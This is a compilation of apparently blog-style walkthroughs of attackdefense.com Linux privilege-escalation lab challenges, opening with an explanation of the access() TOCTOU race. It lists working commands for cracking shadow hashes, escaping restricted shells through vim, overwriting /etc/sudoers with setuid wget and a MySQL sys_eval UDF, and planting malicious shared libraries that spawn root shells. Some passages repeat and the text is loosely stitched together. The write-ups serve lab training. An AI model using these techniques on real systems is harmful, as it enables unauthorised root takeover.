The access() system call checks the accessibility of the file specified in pathname based on a process’s real user and group IDs (and supplementary group IDs).
#include <unistd.h>
int access(const char *pathname, int mode);
If pathname is a symbolic link, access() dereferences it. If all of the permissions specified in mode are granted on pathname, then access() returns 0; if at least one of the requested per- missions is not available (or an error occurred), then access() returns –1.
The Issue
The time gap between a call to access() and a subsequent operation on a file means that there is no guarantee that the information returned by access() will still be true at the time of the later operation (no matter how brief the interval). This situation could lead to security holes in some application designs.
Example
Suppose, for example, that we have a set-user-ID-root program that uses access() to check that a file is accessible to the real user ID of the program, and, if so, per- forms an operation on the file (e.g., open() or exec()).
The problem is that if the pathname given to access() is a symbolic link, and a malicious user manages to change the link so that it refers to a different file before the second step, then the set-user-ID-root may end up operating on a file for which the real user ID does not have permission. (This is an example of the type of time-of- check, time-of-use race condition described in Section 38.6.) For this reason, recommended practice is to avoid the use of access() altogether (see, for example, [Borisov, 2005]). In the example just given, we can achieve this by temporarily changing the effective (or file system) user ID of the set-user-ID process, attempting the desired operation (e.g., open() or exec()), and then checking the return value and errno to determine whether the operation failed because of a permissions problem.
Demo
I will update this section with a demo as soon as I am back at work.
You can now execute code as root, what more do you need? You can allow SUDO all no password or create SETUID shell program with c, execute a reverse shell etc, whatever you want; be creative.
So you’ve got a foothold on a regular user account on a Linux box? You’ve tried to escalate privileges to root but nothing seems to work? Keep in mind that many a time, you might have to escalate first to another non-root user with some privileges on the system and then try to escalate to root! Sometimes the user is the weakest part of the security chain! All required tools are available on the lab system.
Your mission is to get a root shell on the box!
Challenge Accepted
First we ls -la, nothing, so let’s try ls -la /. We see /wordlist and when we check it out we see a gunzipped rockyou.txt. I gunzip it and then know we have to bruteforce something, one of my first guesses was that it might be the shadow file, if I can read it then we know it’s the target.
We can cat /etc/shadow, so I check for a common tool that is to convert shadow file hashes into a format we can use with john to crack, unshadow. We find unshadow so now we simply pass it passwd and shadow as arguments.
Great, we found some valid users, we have been both student and admin, let’s try to change teacher’s password…
admin@attackdefense:~$ ./chpasswd teacher
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
admin@attackdefense:~$ su teacher
Password:
It worked, first things first, sudo -l.
teacher@attackdefense:/home/admin$ sudo -l
User teacher may run the following commands on attackdefense:
(root) NOPASSWD: /usr/bin/perl
Awesome, we can run perl as root with no password, if you have seen some of my older posts you know what’s next, simply run perl with -e switch to execute /bin/sh as root, sweet!
A running Linux server is a complicated beast with dozens of things happening in the background. Admins might at times forget to clean up the system properly when they install/update/remove things. Most of the times, these scenarios can be debugged with error logs. For an attacker, these logs can be a treasure trove! It allows him to understand how everything is running in the server and what kind of errors are happening. Of course, these logs might sometimes be spread over the system in different formats based on the admin’s personal preferences.
Your mission is to get a root shell on the box!
Challenge Accepted
First things first, easy wins… sudo -l
student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
(root) NOPASSWD: /etc/init.d/cron
(root) NOPASSWD: /etc/init.d/postfix
Now we know what we can run as sudo, let’s start the services…
student@attackdefense:~$ sudo /etc/init.d/cron start
* Starting periodic command scheduler cron [ OK ]
student@attackdefense:~$ sudo /etc/init.d/cron reload
* Reloading configuration files for periodic command scheduler cron [ OK ]
Great, they are running but we don’t really know what we are looking for, so I go for another easy way to find out and only look for files newer than 5 mins ago…
Wait for cron to run or restart and then check we can sudo all with no password…
student@attackdefense:/$ sudo -l
User student may run the following commands on attackdefense:
(ALL) NOPASSWD: ALL
Awesome, it worked! Now we should all know the next bit by now…
student@attackdefense:/$ sudo /bin/bash
root@attackdefense:/# id
uid=0(root) gid=0(root) groups=0(root)
Awesome, see how just a few simple commands get you to root. I didn’t even enum first as I always check for low hanging fruit, sudo -l being the lowest in my opinion closely followed by SETUID.
It is very common on multi-user systems to restrict the functionality available to individual users. A common way to do this is by using a custom built restricted shell. This shell only allows access to a certain set of commands required by the user. The rest are unavailable. In this challenge, you have to breakout of the restricted shell and figure out how to become the root user! This lab, like any good linux privilege escalation adventure has a bit of everything – setuid binaries, permissions and overridable configurations. Enjoy!
Your mission is to get a root shell on the box!
Challenge Accepted
To be honest this challenge is labelled hard but I found it wasy easier than the easy ones, I put it down to experience since I often priv. esc. through configuration issues and not exploits, I can count on two hands the times I have needed to rely on an exploit, look deep enough and you WILL find a configuration issue, honestly, truth is very few people can’t set up systems as they should be. In fact, during my time auditing I met one engineer who literally did everything right, to the point he schooled everyone on MS internals and config.
The Solution
I went straight for one of the first things I try, vim escape. Just type vim, then hit esc button then type the following…
:set shell=/bin/bash
:shell
Easy, now we are free. Time to see what is next, again turn to next thing I try, find SETUID files.
One should stand out right away, wget! Well we know we can select -o to write the file and since we are root that can be anywhere. So what is the plan? Easy, make sudoers file locally that allows sudo all with no password, my favourite trick, then start local http server and wget running as root to write file to /etc/sudoers.
student@attackdefense:/$ echo "student ALL=(ALL) NOPASSWD: ALL" > /tmp/sudoers
student@attackdefense:/$ python -m SimpleHTTPServer 8080 &
student@attackdefense:/$ # We use & to background http server so we can wget in same terminal
student@attackdefense:/tmp$ wget 0.0.0.0:8080/tmp/sudoers -O /etc/sudoers
--2019-03-26 01:23:32-- https://0.0.0.0:8080/tmp/sudoers
Connecting to 0.0.0.0:8080... connected.
HTTP request sent, awaiting response... 127.0.0.1 - - [26/Mar/2019 01:23:32] "GET /tmp/sudoers HTTP/1.1" 200 -
200 OK
Length: 33 [application/octet-stream]
Saving to: '/etc/sudoers'
/etc/sudoers 100%[=================================================================================================>] 33 --.-KB/s in 0s
2019-03-26 01:23:32 (9.81 MB/s) - '/etc/sudoers' saved [33/33]
Now for the final act…
student@attackdefense:/tmp$ sudo /bin/bash
root@attackdefense:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
This challenge was odd, it said easy yet took me longer than the hard one, why? Because I over thought it, I knew what needed to be done, I just failed to check the basics first and overlooked the key bit of info. Never forget enumeration is KEY! Do not overlook ANYTHING!
The Challenge
A running Linux server is a complicated beast with dozens of things happening in the background. Running services create logs and for an attacker, these logs can be a treasure trove!
Your mission is to get a root shell on the box!
Challenge Accepted
First bit was easy, I knew it was about logs because of challenge info and title so figured we would want something either setuid or a service running as root that dumps things to a log file. So first thing was sudo -l followed by a grep of /var/log/mysql as we knew sudo init.d started mysql.
student@attackdefense:~$ sudo -l
User student may run the following commands on attackdefense:
(root) NOPASSWD: /etc/init.d/mysql
student@attackdefense:~$ grep -r pass /var/log/mysql
/var/log/mysql/log:Connection succeeded for user root@localhost to database mysql using password adlabs@adlabs
Next I added the creds to my local config file so when I tried mysql I dropped straight in as root user.
Ok, now I am in but from experience I know we can’t just drop into a shell even though the system command \! might seem tempting you drop into shell with the user privs who invoked mysql, your user not the db user.
We also know that we can try and load a plugin in a number of ways, all of which I tried, main issues was this…
mysql> select * from user INTO OUTFILE '/tmp/test';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql> SELECT @@GLOBAL.secure_file_priv;
+---------------------------+
| @@GLOBAL.secure_file_priv |
+---------------------------+
| /var/lib/mysql-files/ |
+---------------------------+
1 row in set (0.00 sec)
secure-file-priv, what’s that? secure-file-priv is a variable is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE()function. These operations are permitted only to users who have the FILE privilege. Basically, good idea for security! Take note.
However there is always a way round, so I tried all sorts of shenanigans and wasted a good hour when the writing was on the wall. I failed to look at what plugins we already had installed!
Turns out we already have exactly what we need, this library does exactly what the shared object I created tried to do, except I could not load a plugin but it was required anyway. Lesson here really is to not overlook the basics, I wasted time when a quick ls -la would have solved it all.
The Solution
student@attackdefense:/usr/lib/mysql/plugin$ mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.7.23-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
ERROR 1125 (HY000): Function 'sys_eval' already exists
mysql> sys_eval("id");
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'sys_eval("id")' at line 1mysql> SELECT sys_eval("id");+-----------------------------------------+| sys_eval("id") |+-----------------------------------------+| uid=0(root) gid=0(root) groups=0(root)
|
+-----------------------------------------+
1 row in set (0.04 sec)
mysql> SELECT sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers");
+------------------------------------------------------------------+
| sys_eval("echo 'student ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers") |
+------------------------------------------------------------------+
| NULL |
+------------------------------------------------------------------+
1 row in set (0.02 sec)
mysql> exit
Bye
student@attackdefense:/usr/lib/mysql/plugin$ sudo -l
User student may run the following commands on attackdefense:
(ALL) NOPASSWD: ALL
student@attackdefense:/usr/lib/mysql/plugin$ sudo /bin/bash
root@attackdefense:/usr/lib/mysql/plugin# id
uid=0(root) gid=0(root) groups=0(root)
Tips
During this challenge, I had to use a few old tricks, some of which I knew much earlier in my career so sharing in the hope they help others.
Writing Source Code to File without Text Editor/Echo
Sometimes you need to write exploit code but standard echos etc take too long to escape properly when the code is complex, base64 to the rescue. First base64 encode the payload.
student@attackdefense:~$ mysql --print-defaults
mysql would have been started with the following arguments:
--user=root --password=*****
student@attackdefense:~$ mysqld --print-defaults
mysqld would have been started with the following arguments:
--skip_name_resolve --user=root --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306 --basedir=/usr --datadir=/var/lib/mysql --tmpdir=/tmp --lc-messages-dir=/usr/share/mysql --skip-external-locking --bind-address=0.0.0.0 --key_buffer_size=16M --max_allowed_packet=16M --thread_stack=192K --thread_cache_size=8 --myisam-recover-options=BACKUP --query_cache_limit=1M --query_cache_size=16M --expire_logs_days=10 --max_binlog_size=100M
Look’s like I am first again to do a write-up for these challenges in the attackdefense.com intermediate and hard categories. Hopefully this post will help turn hard challenges into easy pwnage moving forward.
A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges!
Your mission is to get a root shell on the box!
What are we looking for?
Why this command first? Well, I know we are looking to exploit a missing library reference to become root, this would be pointless if binary was not setuid or sudo, so we look for SETUID bins right away.
student@attackdefense:~$ /usr/bin/welcome
/usr/bin/welcome: error while loading shared libraries: libwelcome.so: cannot open shared object file: No such file or directory
Error while loading shared libraries! This is exactly what we want to see, if a binary is missing a shared library, if we can write to where it expects to load it from or if we can export the library load path then we win.
Like any good testers, we want to know a little more before jumping in, so we take a look at the dynamic section of the elf to see more info about the library.
You will get a lot of results, you could put the library in any of these places but the first one is best for us as we know we can write to our own user directory.
86: trying file=/home/student/lib/libwelcome.so
Now we try the fun part, we have all the bits we need. We do need some code we want to run though, so I choose a standard library injection file.
Next all we have to do is create lib in our own directory and then compile our shared library to libwelcome.so.
student@attackdefense:~$ mkdir lib && cd lib
student@attackdefense:~$ vi shared-file.c
student@attackdefense:~$ gcc -shared -o libwelcome.so -fPIC shared-file.c
We try and run it, but we get an error.
student@attackdefense:~/lib$ /usr/bin/welcome
/usr/bin/welcome: symbol lookup error: /usr/bin/welcome: undefined symbol: welcome
Sounds scary, but don’t worry a symbol is basically a global variable exported from compiled source, we can just add a dummy int value. To check it really missing the symbol we can verfiy that.
student@attackdefense:~/lib$ readelf -s /usr/bin/welcome | grep welcome
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND welcome
51: 0000000000000000 0 FUNC GLOBAL DEFAULT UND welcome
As expected, it wants the global variable as programmers know it but a symbol for the CPU sake.
The source code above exports the global variable welcome and that will fix the issue. Let’s re-try.
student@attackdefense:~/lib$ vi libwelcome.c
student@attackdefense:~/lib$ gcc -shared -o libwelcome.so -fPIC libwelcome.c
libwelcome.c: In function 'inject':
libwelcome.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setenv
libwelcome.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setenv
libwelcome.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
execl("/bin/sh","sh",0);
^~~~~
libwelcome.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
libwelcome.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:~/lib$ ls
libwelcome.c libwelcome.so shared-file.c
It will show warnings but that is ok, no re-run the setuid.
Got r00t! Awesome. See nothing to be scared of, this was easy once you know how. I will do later posts on running process injection for shared libraries but you can go check that out yourself now if you’re hungry for more shared library privilege escalation.
A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges!
A Linux system runs a complicated system of well referenced shared libraries and programs that use them. It is very common for administrators to move / delete things but forget to remove references! Most of the time this just causes programs to error and not run. However, in some cases this can be exploited to escalate privileges!
Your mission is to get a root shell on the box!
Second challenge is similar, just easier.
student@attackdefense:~$ /usr/local/bin/token
/usr/local/bin/token: error while loading shared libraries: librandom.so: cannot open shared object file: No such file or directory
student@attackdefense:~$ LD_DEBUG=libs ldd /usr/local/bin/token | grep librandom.so | grep "trying file"
...
20: find library=librandom.so [0]; searching
20: trying file=/tmp/lib/tls/x86_64/avx512_1/x86_64/librandom.so
...
student@attackdefense:~$ #/tmp/ lol, we know we can write there
student@attackdefense:~/lib$ mkdir -p /tmp/lib/tls/x86_64/avx512_1/x86_64
student@attackdefense:~$ cd /tmp/lib/tls/x86_64/avx512_1/x86_64
We should be all set but let’s check for exported symbols to be sure…
We just simply exported random_token as a symbol by declaring it as a global variable. Now to finish the escalation.
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ vi random_token.c
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ gcc -shared -o librandom.so -fPIC random_token.c
random_token.c: In function 'inject':
random_token.c:8:9: warning: implicit declaration of function 'setgid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setgid(0);
^~~~~~
setenv
random_token.c:9:9: warning: implicit declaration of function 'setuid'; did you mean 'setenv'? [-Wimplicit-function-declaration]
setuid(0);
^~~~~~
setenv
random_token.c:10:9: warning: implicit declaration of function 'execl' [-Wimplicit-function-declaration]
execl("/bin/sh","sh",0);
^~~~~
random_token.c:10:9: warning: incompatible implicit declaration of built-in function 'execl'
random_token.c:10:9: warning: missing sentinel in function call [-Wformat=]
student@attackdefense:/tmp/lib/tls/x86_64/avx512_1/x86_64$ /usr/local/bin/token
# id
uid=0(root) gid=0(root) groups=0(root)
# echo "1337"
1337
# uname -a
Linux attackdefense.com 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Great, that was simple. Now we have all the knowledge we need to exploit missing SETUID libs in future, remember to always check even the common binaries that are ‘usually fruitless’, never underestimate the actions of drunk sysadmins.
This is the first write up I could find online for Linux Priv Esc, Load Order Matters, if that’s true and my Google skills don’t suck, sweet! 🙂 Load Order Matters is a privilege escalation challenge in the AttackDefence.com intermediate category.
So, what’s the deal?
Challenge Info
So you’ve got a foothold on a regular user account on a Linux box? You’ve tried to escalate privileges to root but nothing seems to work? Remember the order in which programs, scripts and libraries load dictates what executes!
Your mission is to get a root shell on the box!
Mission Accepted
So, I know I am looking to exploit something via load order injection, so I go about trying to find what binary. sudo -l for the quick win…
student@attackdefense:/tmp$ sudo -l
Matching Defaults entries for student on attackdefense:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User student may run the following commands on attackdefense:
(root) NOPASSWD: /usr/sbin/apache2
Let’s try it…
student@attackdefense:/tmp$ sudo /usr/sbin/apache2
[Mon Mar 25 21:31:48.463122 2019] [core:warn] [pid 186] AH00111: Config variable ${APACHE_RUN_DIR} is not defined
apache2: Syntax error on line 80 of /etc/apache2/apache2.conf: DefaultRuntimeDir must be a valid directory, absolute or relative to ServerRoot
We get an error, it expects some ENV variables, let’s check our sudo -l again.
All the info we need is here, can’t inject our own env variables directly because of env_reset, we cannot reset path either but we do see this, env_keep+=LD_PRELOAD. Awesome!
What is LD_PRELOAD?
Normally the Linux dynamic loader ld-linux (see ld-linux(8) man page) finds and loads the shared libraries needed by a program, prepare the program to run, and then run it. The shared libraries (shared objects) are loaded in whatever order the loader needs them in order to resolve symbols.
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
Preloading a library means that its functions will be used before others of the same name in later libraries. This enables library functions to be intercepted and replaced (overwritten.) As a result program behavior can be non-invasively modified, i.e. a recompile is not necessary.
The Escalation
If you read the above, not only should you get LD_PRELOAD but you should also be jumping up and down about what we are about to do next.
They say enumeration is everything but I was sick of being told to use 3 different enum scripts so I am making one, the only one you will ever need, watch this space.